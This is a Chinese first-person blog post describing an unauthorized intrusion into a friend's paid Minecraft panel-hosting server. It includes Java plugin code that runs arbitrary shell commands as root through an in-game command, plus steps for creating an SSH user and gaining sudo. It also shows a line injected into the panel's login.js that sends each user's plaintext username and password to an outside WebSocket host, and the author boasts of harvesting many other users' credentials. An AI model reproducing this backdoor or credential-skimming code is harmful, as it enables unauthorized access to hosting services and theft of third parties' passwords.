0x00 前言
那是2020年4月的一个下午。因为新冠,罕见的得了高中以来最长的寒假。当时我用树莓派3b开了个mc服务器玩。找了点朋友来玩,树莓派性能太差,时不时就卡住掉线,后来我在机器人社团认识的一个初三的朋友跟我说可以用他买的mc面板服来开,当时我对面板服不感兴趣,只想要个vps。
直到他说了一句话:
可以随意上传并运行任何服务端
这句话一下子点醒了我,马上就想到只要配置不当就可能非常脆弱。
0x01 Ping
搞到服务器地址先ping下!
看到TTL<64。大概率是Linux了,不免感到兴奋。
虽然Linux坚如磐石,但是大部分小白只会用root来运行程序,如果服务端在root上运行那可就太棒了。
0x02登陆
平平无奇没有什么漏洞。
都说忘记密码里漏洞多
直接拉起了qq聊天,要找管理员改密码。这条路也是不通的
有几个小功能,能上传文件。还有个控制台,不能交互。
从朋友那知道一下几点:
- 服务端需要在用户根目录下改名位server.jar才能运行
- 服务端可以随意设置端口在1000以上
- 购买时候套餐只有内存大小之分而没有cpu核心限制
分析出一下:
- 只要改名为server.jar的java程序应该都能运行
- 防火墙只允许1000以上端口通过
- 服务器应该是用-Xmx限制内存而且没有隔离
0x03测试
现在就是看管理员是不是傻傻的在root上运行。
我们不能直接弄个getshell的程序运行,要不然可能被管理员发现在这弄了个shell。
于是我写成了服务器插件,核心代码入下
if (command.getName().equalsIgnoreCase("kzt")){
String context;
for(String i : args){
com+=i + " ";
}
try {
Process p = Runtime.getRuntime().exec(com);
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
p.waitFor();
if (p.exitValue() == 0) {
while ((context = reader.readLine())!= null) {
player.sendMessage(context);
}
}
}
catch (Exception error){
player.sendMessage(error.toString());
}
return true;
}
执行ifconfig指令,能正常运行
执行id
真就运行在root上!
0x04拿到SSH
首先创建用户。
创建成功
因为控制台不支持交互,得换个方法创建密码。
我这里写个脚本上传再运行
echo user:passwd|chpasswd
发现SSH在运行且防火墙已关闭,仍然无法连接,推测应该是用某种东西进行了映射。
写了个转发程序,很简单就不晒了。
成功
0x05拿到sudo
直接改所有者,之后再改回来,比较简单先省略了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
拿到!
还没完,别急走
0x06拿网站管理员账号
之前说了,这个服务器要钱买,那么如果重装后就得重新黑,而又得花笔钱。像我这样的穷鬼是绝对不允许的(滑稽)
多亏我的好兄弟帮我找到了这个项目
https://github.com/Suwings/MCSManager
登陆逻辑
非常复杂,虽然我们能读取加密后的密码,但是仍然需要时间而且可能无法破解。
看看结构
马上锁定login.js
只要传递username和password就能得明文密码了。
在3行插入
var ws = new WebSocket("ws://****:8080");
ws.onopen = function(){
ws.send(username + ":" + password);
}
之后再弄台服务器来接收,因为时间太久了,我把代码弄丢了。
第二天下午
我看了下服务器,没想到弄到了,还有其他很多人的。